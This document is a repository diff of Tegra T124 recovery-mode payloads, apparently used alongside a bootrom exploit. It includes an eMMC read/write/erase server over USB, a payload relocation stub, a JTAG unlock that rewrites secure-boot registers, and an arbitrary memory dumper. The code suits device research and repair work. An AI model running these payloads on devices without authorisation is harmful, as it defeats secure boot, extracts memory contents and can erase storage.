diag[12] = read32(SDMMC4_BASE + 0x28); /* host+power */
|
||||
diag[13] = read32(SDMMC4_BASE + 0x24); /* PRESENT_STATE */
|
||||
diag[14] = read32(SDMMC4_BASE + 0x100); /* VENDOR_CLK_CTRL */
|
||||
diag[15] = read32(SDMMC4_BASE + 0x120); /* VENDOR_MISC_CTRL */
|
||||
|
||||
diag[30] = diag[10] ? 1 : 0;
|
||||
|
||||
/* === Try CMD0 === */
|
||||
cmd_ret = send_cmd(MMC_CMD0, 0);
|
||||
if (cmd_ret < 0) {
|
||||
init_error = 0xE0000001;
|
||||
diag[33] = (u32)(-cmd_ret);
|
||||
diag[34] = last_cmd_int_status;
|
||||
diag[35] = read32(SDMMC4_BASE + SDHCI_PRESENT_STATE);
|
||||
return;
|
||||
}
|
||||
|
||||
diag[30] = 2; /* CMD0 succeeded! */
|
||||
|
||||
/* Delay after CMD0 before starting CMD1 */
|
||||
delay(100000);
|
||||
|
||||
/* CMD1: SEND_OP_COND - poll until card ready (bit 31 set)
|
||||
* eMMC spec allows up to 1 second for power-up.
|
||||
* delay(50000) ≈ 12ms on ARM7TDMI @ 12MHz, 2000 retries = ~24 seconds max */
|
||||
diag[16] = 0; /* first OCR */
|
||||
diag[17] = 0; /* last OCR */
|
||||
diag[18] = 0; /* retry count */
|
||||
timeout = 2000;
|
||||
while (1) {
|
||||
cmd_ret = send_cmd(MMC_CMD1, 0x40FF8080);
|
||||
if (cmd_ret < 0) {
|
||||
init_error = 0xE0000002;
|
||||
diag[33] = (u32)(-cmd_ret);
|
||||
diag[34] = last_cmd_int_status;
|
||||
diag[35] = read32(SDMMC4_BASE + SDHCI_PRESENT_STATE);
|
||||
return;
|
||||
}
|
||||
u32 ocr = read32(SDMMC4_BASE + SDHCI_RESPONSE);
|
||||
diag[18]++;
|
||||
if (diag[16] == 0) diag[16] = ocr; /* capture first response */
|
||||
diag[17] = ocr; /* always update last response */
|
||||
if (ocr & (1u << 31)) break;
|
||||
if (--timeout == 0) { init_error = 0xE0000003; return; }
|
||||
delay(50000);
|
||||
}
|
||||
|
||||
diag[30] = 3; /* CMD1 succeeded! */
|
||||
|
||||
cmd_ret = send_cmd(MMC_CMD2, 0);
|
||||
if (cmd_ret < 0) { init_error = 0xE0000004; diag[33] = (u32)(-cmd_ret); diag[34] = last_cmd_int_status; return; }
|
||||
|
||||
diag[30] = 4; /* CMD2 succeeded! */
|
||||
|
||||
cmd_ret = send_cmd(MMC_CMD3, 0x00010000);
|
||||
if (cmd_ret < 0) { init_error = 0xE0000005; diag[33] = (u32)(-cmd_ret); diag[34] = last_cmd_int_status; return; }
|
||||
|
||||
cmd_ret = send_cmd(MMC_CMD7, 0x00010000);
|
||||
if (cmd_ret < 0) { init_error = 0xE0000006; diag[33] = (u32)(-cmd_ret); diag[34] = last_cmd_int_status; return; }
|
||||
|
||||
cmd_ret = send_cmd(MMC_CMD16, 512);
|
||||
if (cmd_ret < 0) { init_error = 0xE0000007; diag[33] = (u32)(-cmd_ret); diag[34] = last_cmd_int_status; return; }
|
||||
|
||||
diag[30] = 5; /* All CMDs succeeded! */
|
||||
sdmmc4_initialized = 1;
|
||||
}
|
||||
|
||||
/* Wait for CMD and DAT lines to be free */
|
||||
static int wait_ready(void) {
|
||||
u32 timeout = 500000;
|
||||
while (read32(SDMMC4_BASE + SDHCI_PRESENT_STATE) & (SDHCI_CMD_INHIBIT | SDHCI_DAT_INHIBIT)) {
|
||||
if (--timeout == 0) return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Reset CMD and DAT lines after error */
|
||||
static void reset_cmd_dat(void) {
|
||||
write_swrst(SDHCI_RESET_CMD | SDHCI_RESET_DAT);
|
||||
u32 timeout = 10000;
|
||||
while ((read_swrst() & (SDHCI_RESET_CMD | SDHCI_RESET_DAT)) && --timeout) ;
|
||||
}
|
||||
|
||||
/* Read N sectors directly into a target address (for DMA) */
|
||||
static int read_emmc_sectors_addr(u32 sector, u32 count, u32 addr) {
|
||||
u32 status;
|
||||
u32 timeout;
|
||||
|
||||
if (count == 0) return 0;
|
||||
if (wait_ready() < 0) return -1;
|
||||
|
||||
/* Set SDMA address register to target address */
|
||||
write32(SDMMC4_BASE + 0x00, addr); /* SDMA System Address */
|
||||
|
||||
/* Block count is written in the upper half of BLOCK_SIZE register */
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, 0xFFFFFFFF);
|
||||
write32(SDMMC4_BASE + SDHCI_BLOCK_SIZE, (count << 16) | 0x200);
|
||||
write32(SDMMC4_BASE + SDHCI_ARGUMENT, sector);
|
||||
write32(SDMMC4_BASE + SDHCI_TRANSFER_MODE,
|
||||
((u32)MMC_CMD18 << 16) | XFER_MODE_READ_MULTI);
|
||||
timeout = 1000000; /* increased timeout */
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) { last_read_int_status = status; reset_cmd_dat(); return -2; }
|
||||
if (--timeout == 0) { last_read_int_status = status; return -3; }
|
||||
} while (!(status & SDHCI_INT_CMD_COMPLETE));
|
||||
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, SDHCI_INT_CMD_COMPLETE);
|
||||
|
||||
timeout = 2000000;
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) { last_read_int_status = status; reset_cmd_dat(); return -6; }
|
||||
if (--timeout == 0) { last_read_int_status = status; return -7; }
|
||||
} while (!(status & SDHCI_INT_XFER_COMPLETE));
|
||||
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, 0xFFFFFFFF);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int read_emmc_sectors(u32 sector, u32 count, u32 *buffer) {
|
||||
u32 status;
|
||||
u32 timeout;
|
||||
|
||||
if (count == 0) return 0;
|
||||
if (wait_ready() < 0) return -1;
|
||||
|
||||
/* note AGAIN > Block count is written in the upper half of BLOCK_SIZE register */
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, 0xFFFFFFFF);
|
||||
write32(SDMMC4_BASE + SDHCI_BLOCK_SIZE, (count << 16) | 0x200); /* back to 512B */
|
||||
write32(SDMMC4_BASE + SDHCI_ARGUMENT, sector);
|
||||
write32(SDMMC4_BASE + SDHCI_TRANSFER_MODE,
|
||||
((u32)MMC_CMD18 << 16) | XFER_MODE_READ_MULTI);
|
||||
timeout = 1000000; /* increased timeout for multi-block */
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) { last_read_int_status = status; reset_cmd_dat(); return -2; }
|
||||
if (--timeout == 0) { last_read_int_status = status; return -3; }
|
||||
} while (!(status & SDHCI_INT_CMD_COMPLETE));
|
||||
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, SDHCI_INT_CMD_COMPLETE);
|
||||
|
||||
for (u32 blk = 0; blk < count; blk++) {
|
||||
timeout = 2000000; /* timeout */
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) { last_read_int_status = status; reset_cmd_dat(); return -4; }
|
||||
if (--timeout == 0) { last_read_int_status = status; return -5; }
|
||||
} while (!(status & SDHCI_INT_BUF_RD_READY));
|
||||
|
||||
for (u32 i = 0; i < 128; i++) {
|
||||
buffer[blk * 128 + i] = read32(SDMMC4_BASE + SDHCI_BUFFER);
|
||||
}
|
||||
|
||||
/* Clear buffer ready so we can wait for the next block */
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, SDHCI_INT_BUF_RD_READY);
|
||||
}
|
||||
|
||||
timeout = 2000000; /* timeout for transfer complete */
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) { last_read_int_status = status; reset_cmd_dat(); return -6; }
|
||||
if (--timeout == 0) { last_read_int_status = status; return -7; }
|
||||
} while (!(status & SDHCI_INT_XFER_COMPLETE));
|
||||
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, 0xFFFFFFFF);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Read a single 512-byte sector from eMMC */
|
||||
static int read_emmc_sector(u32 sector, u32 *buffer) {
|
||||
return read_emmc_sectors(sector, 1, buffer);
|
||||
}
|
||||
|
||||
/* Write N sectors to eMMC using multi-block CMD25 */
|
||||
/* Write a single 512-byte sector to eMMC */
|
||||
static int write_emmc_sector(u32 sector, u32 *buffer) {
|
||||
u32 status;
|
||||
u32 timeout;
|
||||
|
||||
if (wait_ready() < 0) return -1;
|
||||
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, 0xFFFFFFFF);
|
||||
write32(SDMMC4_BASE + SDHCI_BLOCK_SIZE, (1 << 16) | 0x200);
|
||||
write32(SDMMC4_BASE + SDHCI_ARGUMENT, sector);
|
||||
write32(SDMMC4_BASE + SDHCI_TRANSFER_MODE, ((u32)MMC_CMD24 << 16) | XFER_MODE_WRITE);
|
||||
|
||||
timeout = 500000;
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) { reset_cmd_dat(); return -2; }
|
||||
if (--timeout == 0) return -3;
|
||||
} while (!(status & SDHCI_INT_CMD_COMPLETE));
|
||||
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, SDHCI_INT_CMD_COMPLETE);
|
||||
|
||||
timeout = 500000;
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) { reset_cmd_dat(); return -4; }
|
||||
if (--timeout == 0) return -5;
|
||||
} while (!(status & SDHCI_INT_BUF_WR_READY));
|
||||
|
||||
for (u32 i = 0; i < 128; i++) {
|
||||
write32(SDMMC4_BASE + SDHCI_BUFFER, buffer[i]);
|
||||
}
|
||||
|
||||
timeout = 500000;
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) { reset_cmd_dat(); return -6; }
|
||||
if (--timeout == 0) return -7;
|
||||
} while (!(status & SDHCI_INT_XFER_COMPLETE));
|
||||
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, 0xFFFFFFFF);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Read EXT_CSD register (512 bytes of chip health/configuration data) */
|
||||
static int read_ext_csd(u32 *buffer) {
|
||||
u32 status;
|
||||
u32 timeout;
|
||||
|
||||
if (wait_ready() < 0) return -1;
|
||||
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, 0xFFFFFFFF);
|
||||
write32(SDMMC4_BASE + SDHCI_BLOCK_SIZE, (1 << 16) | 0x200); /* 1 block, 512 bytes */
|
||||
write32(SDMMC4_BASE + SDHCI_ARGUMENT, 0); /* EXT_CSD addressed by sector 0 */
|
||||
write32(SDMMC4_BASE + SDHCI_TRANSFER_MODE,
|
||||
((u32)MMC_CMD8 << 16) | XFER_MODE_READ);
|
||||
|
||||
timeout = 500000;
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) { reset_cmd_dat(); return -2; }
|
||||
if (--timeout == 0) return -3;
|
||||
} while (!(status & SDHCI_INT_CMD_COMPLETE));
|
||||
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, SDHCI_INT_CMD_COMPLETE);
|
||||
|
||||
timeout = 500000;
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) { reset_cmd_dat(); return -4; }
|
||||
if (--timeout == 0) return -5;
|
||||
} while (!(status & SDHCI_INT_BUF_RD_READY));
|
||||
|
||||
/* Read 512 bytes (128 words) of EXT_CSD data */
|
||||
for (u32 i = 0; i < 128; i++) {
|
||||
buffer[i] = read32(SDMMC4_BASE + SDHCI_BUFFER);
|
||||
}
|
||||
|
||||
timeout = 500000;
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) { reset_cmd_dat(); return -6; }
|
||||
if (--timeout == 0) return -7;
|
||||
} while (!(status & SDHCI_INT_XFER_COMPLETE));
|
||||
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, 0xFFFFFFFF);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Erase a range of sectors - tells eMMC controller data can be discarded/reallocated */
|
||||
static int erase_emmc_sectors(u32 start_sector, u32 end_sector) {
|
||||
u32 status;
|
||||
u32 timeout;
|
||||
|
||||
if (wait_ready() < 0) return -1;
|
||||
|
||||
/* CMD35: ERASE_GROUP_START - set start address */
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, 0xFFFFFFFF);
|
||||
write32(SDMMC4_BASE + SDHCI_BLOCK_SIZE, (1 << 16) | 0x200);
|
||||
write32(SDMMC4_BASE + SDHCI_ARGUMENT, start_sector);
|
||||
write32(SDMMC4_BASE + SDHCI_TRANSFER_MODE, ((u32)MMC_CMD35 << 16) | 0);
|
||||
|
||||
timeout = 500000;
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) { reset_cmd_dat(); return -2; }
|
||||
if (--timeout == 0) return -3;
|
||||
} while (!(status & SDHCI_INT_CMD_COMPLETE));
|
||||
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, SDHCI_INT_CMD_COMPLETE);
|
||||
|
||||
/* CMD36: ERASE_GROUP_END - set end address */
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, 0xFFFFFFFF);
|
||||
write32(SDMMC4_BASE + SDHCI_ARGUMENT, end_sector);
|
||||
write32(SDMMC4_BASE + SDHCI_TRANSFER_MODE, ((u32)MMC_CMD36 << 16) | 0);
|
||||
|
||||
timeout = 500000;
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) { reset_cmd_dat(); return -4; }
|
||||
if (--timeout == 0) return -5;
|
||||
} while (!(status & SDHCI_INT_CMD_COMPLETE));
|
||||
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, SDHCI_INT_CMD_COMPLETE);
|
||||
|
||||
/* CMD38: ERASE - actually perform the erase operation */
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, 0xFFFFFFFF);
|
||||
write32(SDMMC4_BASE + SDHCI_ARGUMENT, 0);
|
||||
write32(SDMMC4_BASE + SDHCI_TRANSFER_MODE, ((u32)MMC_CMD38 << 16) | 0);
|
||||
|
||||
timeout = 5000000; /* Erase can take longer than reads/writes */
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) { reset_cmd_dat(); return -6; }
|
||||
if (--timeout == 0) return -7;
|
||||
} while (!(status & SDHCI_INT_CMD_COMPLETE));
|
||||
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, 0xFFFFFFFF);
|
||||
return 0;
|
||||
}
|
||||
|
||||
__attribute__((section(".init")))
|
||||
void entry() {
|
||||
|
||||
u32 num_xfer;
|
||||
struct emmc_cmd_s cmd;
|
||||
u8 *buffer = (u8*)0x40020000;
|
||||
|
||||
ep1_x_imm_t ep1_out_read_imm = (ep1_x_imm_t)(BOOTROM_EP1_OUT_READ_IMM | 1);
|
||||
ep1_x_imm_t ep1_in_write_imm = (ep1_x_imm_t)(BOOTROM_EP1_IN_WRITE_IMM | 1);
|
||||
|
||||
while (1) {
|
||||
ep1_out_read_imm(&cmd, sizeof(cmd), &num_xfer);
|
||||
|
||||
if (cmd.op == EMMC_CMD_EXIT) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (cmd.op == EMMC_CMD_STATUS) {
|
||||
u32 regs[128];
|
||||
|
||||
init_sdmmc4();
|
||||
|
||||
regs[0] = 0xCAFE0000;
|
||||
regs[1] = init_error;
|
||||
regs[2] = sdmmc4_initialized;
|
||||
regs[3] = read32(SDMMC4_BASE + SDHCI_PRESENT_STATE);
|
||||
regs[4] = read_clkctl();
|
||||
regs[5] = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
regs[6] = read32(SDMMC4_BASE + SDHCI_INT_ENABLE);
|
||||
regs[7] = read32(SDMMC4_BASE + SDHCI_CAPABILITIES);
|
||||
regs[8] = read32(SDMMC4_BASE + SDHCI_HOST_CONTROL);
|
||||
regs[9] = read32(SDMMC4_BASE + SDHCI_RESPONSE);
|
||||
regs[10] = read32(SDMMC4_BASE + SDHCI_RESPONSE + 4);
|
||||
regs[11] = read32(SDMMC4_BASE + SDHCI_RESPONSE + 8);
|
||||
regs[12] = read32(SDMMC4_BASE + SDHCI_RESPONSE + 12);
|
||||
|
||||
/* Init diagnostic trace (diag[0..39]) at regs[16..55] */
|
||||
for (u32 d = 0; d < 40; d++) regs[16 + d] = diag[d];
|
||||
|
||||
/* Try reading sector 0 if init succeeded */
|
||||
regs[13] = 0xCAFE0001;
|
||||
regs[14] = 0; /* read error INT_STATUS (if read fails) */
|
||||
regs[15] = 0; /* first word of sector 0 (if read succeeds) */
|
||||
if (sdmmc4_initialized) {
|
||||
u32 sec_buf[128];
|
||||
last_read_int_status = 0;
|
||||
int r = read_emmc_sector(0, sec_buf);
|
||||
regs[13] = (u32)r;
|
||||
if (r < 0) {
|
||||
regs[14] = last_read_int_status;
|
||||
} else {
|
||||
regs[15] = sec_buf[0]; /* first 4 bytes of MBR */
|
||||
}
|
||||
}
|
||||
|
||||
ep1_in_write_imm(regs, SDMMC4_REG_SIZE, &num_xfer);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (cmd.op == EMMC_CMD_READ) {
|
||||
init_sdmmc4();
|
||||
u32 sector = cmd.start_sector;
|
||||
u32 remaining = cmd.num_sectors;
|
||||
|
||||
while (remaining > 0) {
|
||||
u32 batch = remaining > EMMC_CHUNK_SECTORS_READ ? EMMC_CHUNK_SECTORS_READ : remaining;
|
||||
u32 batch_bytes = batch * EMMC_SECTOR_SIZE;
|
||||
|
||||
int result = read_emmc_sectors(sector, batch, (u32*)buffer);
|
||||
if (result < 0) {
|
||||
u32 *err = (u32*)buffer;
|
||||
err[0] = 0xDEAD0000 | (u32)((-result) & 0xFFFF);
|
||||
for (u32 j = 1; j < batch * 128; j++) err[j] = 0xDEADDEAD;
|
||||
}
|
||||
|
||||
ep1_in_write_imm(buffer, batch_bytes, &num_xfer);
|
||||
|
||||
sector += batch;
|
||||
remaining -= batch;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (cmd.op == EMMC_CMD_WRITE) {
|
||||
init_sdmmc4();
|
||||
u32 sector = cmd.start_sector;
|
||||
u32 remaining = cmd.num_sectors;
|
||||
u32 write_result = 0;
|
||||
|
||||
while (remaining > 0) {
|
||||
u32 batch = remaining > EMMC_CHUNK_SECTORS_WRITE ? EMMC_CHUNK_SECTORS_WRITE : remaining;
|
||||
u32 batch_bytes = batch * EMMC_SECTOR_SIZE;
|
||||
|
||||
ep1_out_read_imm(buffer, batch_bytes, &num_xfer);
|
||||
|
||||
if (write_result == 0) {
|
||||
for (u32 i = 0; i < batch; i++) {
|
||||
int result = write_emmc_sector(sector + i, (u32*)(buffer + i * EMMC_SECTOR_SIZE));
|
||||
if (result < 0) {
|
||||
write_result = 0xDEAD0000 | (u32)((-result) & 0xFFFF);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sector += batch;
|
||||
remaining -= batch;
|
||||
}
|
||||
|
||||
ep1_in_write_imm(&write_result, 4, &num_xfer);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (cmd.op == EMMC_CMD_READ_EXT_CSD) {
|
||||
init_sdmmc4();
|
||||
|
||||
int result = read_ext_csd((u32*)buffer);
|
||||
if (result < 0) {
|
||||
/* On error, clear the buffer and return zeros */
|
||||
for (u32 i = 0; i < 128; i++) {
|
||||
((u32*)buffer)[i] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Send the 512-byte EXT_CSD register back to host */
|
||||
ep1_in_write_imm(buffer, 512, &num_xfer);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (cmd.op == EMMC_CMD_ERASE) {
|
||||
init_sdmmc4();
|
||||
u32 erase_result = 0;
|
||||
|
||||
int result = erase_emmc_sectors(cmd.start_sector, cmd.num_sectors);
|
||||
if (result < 0) {
|
||||
erase_result = 0xDEAD0000 | (u32)((-result) & 0xFFFF);
|
||||
}
|
||||
|
||||
ep1_in_write_imm(&erase_result, 4, &num_xfer);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
enter_rcm();
|
||||
}
|
||||
55
Shofel/payloads/intermezzo.c
Normal file
55
Shofel/payloads/intermezzo.c
Normal file
@@ -0,0 +1,55 @@
|
||||
#include "types.h"
|
||||
#include "t124.h"
|
||||
|
||||
extern u32 __payload_bin_start;
|
||||
extern u32 __payload_bin_end;
|
||||
|
||||
typedef void (*post_relocation_t)( void );
|
||||
typedef void (*payload_ep_t)( void );
|
||||
typedef void (*_memcpy_t)( void *dst, const void *src, size_t len );
|
||||
|
||||
void _memcpy( void *dst, const void *src, size_t len ) {
|
||||
|
||||
for ( size_t i = 0; i < len; i++ ) {
|
||||
( (u8 *)dst )[i] = ( (u8 *)src )[i];
|
||||
}
|
||||
|
||||
}
|
||||
// Probably I could trust in have relative PC branches, so no address would
|
||||
// require to be updated. This would work since there is a whole new copy
|
||||
// of the binary on the relocated area and PC would be working on that area
|
||||
// but having memcpy address on a register and update it to the relocated
|
||||
// area when required should improve the chances of the compiler not messing
|
||||
// up with the memcpy calls.
|
||||
register _memcpy_t memcpy asm("r7");
|
||||
|
||||
void _post_relocation() {
|
||||
|
||||
// Same with these arguments....
|
||||
register u32 payload_bef_len = *( (u32 *) IRAM_ADD_PAYLOAD_BEF_LENVAR );
|
||||
register u32 payload_aft_len = *( (u32 *) IRAM_ADD_PAYLOAD_AFT_LENVAR );
|
||||
register u32 payload_thumb_mode = *( (u32 *) IRAM_ADD_PAYLOAD_THUMB_MODE );
|
||||
|
||||
memcpy -= INTERMEZZO_LEN;
|
||||
memcpy( (u8 *) BOOTROM_PAYLOAD_ENTRY, (u8 *) IRAM_ADD_PAYLOAD_START, payload_bef_len );
|
||||
memcpy( (u8 *) (BOOTROM_PAYLOAD_ENTRY + payload_bef_len), (u8 *) IRAM_ADD_PAYLOAD_CONT, payload_aft_len );
|
||||
|
||||
payload_ep_t payload_ep = (payload_ep_t) ( BOOTROM_PAYLOAD_ENTRY | payload_thumb_mode );
|
||||
payload_ep();
|
||||
|
||||
}
|
||||
|
||||
__attribute__((section(".init")))
|
||||
void pre_relocation() {
|
||||
|
||||
u32 payload_bin_size = (u32)&__payload_bin_end - (u32)&__payload_bin_start;
|
||||
u8 *dest = (u8 *) ( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN );
|
||||
|
||||
memcpy = _memcpy;
|
||||
memcpy( dest, &__payload_bin_start, payload_bin_size );
|
||||
|
||||
post_relocation_t post_relocation = _post_relocation - INTERMEZZO_LEN;
|
||||
post_relocation();
|
||||
|
||||
}
|
||||
|
||||
40
Shofel/payloads/jtag_example.c
Normal file
40
Shofel/payloads/jtag_example.c
Normal file
@@ -0,0 +1,40 @@
|
||||
#include "t124.h"
|
||||
#include "types.h"
|
||||
|
||||
static inline u32 read32(uintptr_t addr) {
|
||||
return *(vu32 *)addr;
|
||||
}
|
||||
|
||||
static inline void write32(uintptr_t addr, u32 val) {
|
||||
*(vu32 *)addr = val;
|
||||
}
|
||||
|
||||
static inline void or32(uintptr_t addr, u32 val) {
|
||||
write32(addr, read32(addr) | val);
|
||||
}
|
||||
|
||||
__attribute__(( section(".init") ))
|
||||
void main() {
|
||||
|
||||
|
||||
u32 pirom_start_0 = 0x00010000;
|
||||
write32( SECURE_BOOT_BASE + SB_PIROM_START_0, pirom_start_0 );
|
||||
|
||||
u32 sb_csr_0 = 0x00000010;
|
||||
write32( SECURE_BOOT_BASE + SB_CSR_0, sb_csr_0 );
|
||||
|
||||
u32 sb_pfcfg_0 = read32( SECURE_BOOT_BASE + SB_PFCFG_0 );
|
||||
sb_pfcfg_0 &= 0xfffffff0;
|
||||
sb_pfcfg_0 |= 0xf;
|
||||
write32( SECURE_BOOT_BASE + SB_PFCFG_0, sb_pfcfg_0 );
|
||||
|
||||
or32( APB_BASE + APB_MISC_PP_CONFIG_CTL_0, APB_MISC_PP_CONFIG_CTL_0_JTAG |
|
||||
APB_MISC_PP_CONFIG_CTL_0_TBE );
|
||||
while(1) {
|
||||
// Halt COP and wait for JTAG
|
||||
or32( FLOW_CTLR_BASE + FLOW_CTLR_HALT_COP_EVENTS_0,
|
||||
FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT |
|
||||
FLOW_CTLR_HALT_COP_JTAG );
|
||||
}
|
||||
}
|
||||
|
||||
58
Shofel/payloads/mem_dumper_usb_server.c
Normal file
58
Shofel/payloads/mem_dumper_usb_server.c
Normal file
@@ -0,0 +1,58 @@
|
||||
#include "types.h"
|
||||
#include "t124.h"
|
||||
#include "mem_dumper_usb_server.h"
|
||||
|
||||
typedef void (*ep1_x_imm_t)(void *buffer, u32 size, u32 *num_xfer);
|
||||
|
||||
void memcpy( void *dst, const void *src, size_t len ) {
|
||||
|
||||
for ( size_t i = 0; i < len; i++ ) {
|
||||
( (u8 *)dst )[i] = ( (u8 *)src )[i];
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
static inline u32 read32(uintptr_t addr) {
|
||||
return *(vu32 *)addr;
|
||||
}
|
||||
|
||||
static inline void write32(uintptr_t addr, u32 val) {
|
||||
*(vu32 *)addr = val;
|
||||
}
|
||||
|
||||
static inline void or32(uintptr_t addr, u32 val) {
|
||||
write32(addr, read32(addr) | val);
|
||||
}
|
||||
|
||||
void enter_rcm() {
|
||||
or32(PMC_BASE + PMC_SCRATCH0, PMC_SCRATCH0_MODE_RCM);
|
||||
or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST);
|
||||
}
|
||||
|
||||
__attribute__((section(".init")))
|
||||
void entry() {
|
||||
|
||||
u32 num_xfer;
|
||||
u32 to_send;
|
||||
struct mem_dumper_args_s args;
|
||||
u8 *buffer = (u8*)0x40020000;
|
||||
|
||||
ep1_x_imm_t ep1_out_read_imm = (ep1_x_imm_t) ( BOOTROM_EP1_OUT_READ_IMM | 1 );
|
||||
ep1_x_imm_t ep1_in_write_imm = (ep1_x_imm_t) ( BOOTROM_EP1_IN_WRITE_IMM | 1 );
|
||||
|
||||
ep1_out_read_imm( &args, sizeof(args), &num_xfer );
|
||||
|
||||
while ( args.len > 0 ) {
|
||||
|
||||
to_send = args.len > 0x1000? 0x1000 : args.len;
|
||||
|
||||
memcpy( buffer, (void*)args.start, to_send );
|
||||
ep1_in_write_imm( buffer, to_send, &num_xfer );
|
||||
|
||||
args.start += to_send;
|
||||
args.len -= to_send;
|
||||
}
|
||||
enter_rcm();
|
||||
|
||||
}
|
||||
|
||||
16
Shofel/payloads/payload.ld
Normal file
16
Shofel/payloads/payload.ld
Normal file
@@ -0,0 +1,16 @@
|
||||
__payload_bin_start = 0x4000E000;
|
||||
ENTRY(__payload_bin_start)
|
||||
|
||||
SECTIONS {
|
||||
/* We don't do GOT relocation and rely on nothing ending up using the GOT
|
||||
* (-fno-common helps here) */
|
||||
/DISCARD/ : { *(.comment) }
|
||||
.init (__payload_bin_start): { *(.init) *(.init.*) }
|
||||
.text : { *(.text) *(.text.*) }
|
||||
.data : { *(.data) *(.data.*) }
|
||||
.rodata : { *(.rodata) *(.rodata.*) *(.got) }
|
||||
.got : { *(.got) }
|
||||
.bss : { *(.bss) *(.bss.*) *(COMMON)}
|
||||
.footer : { LONG(0xdeadbeef) } /* make sure .bss is padded out */
|
||||
__payload_bin_end = .;
|
||||
}
|
||||
20
Shofel/payloads/reset_example.c
Normal file
20
Shofel/payloads/reset_example.c
Normal file
@@ -0,0 +1,20 @@
|
||||
#include "t124.h"
|
||||
#include "types.h"
|
||||
|
||||
static inline u32 read32(uintptr_t addr) {
|
||||
return *(vu32 *)addr;
|
||||
}
|
||||
|
||||
static inline void write32(uintptr_t addr, u32 val) {
|
||||
*(vu32 *)addr = val;
|
||||
}
|
||||
|
||||
static inline void or32(uintptr_t addr, u32 val) {
|
||||
write32(addr, read32(addr) | val);
|
||||
}
|
||||
|
||||
__attribute__((section(".init")))
|
||||
void main() {
|
||||
or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user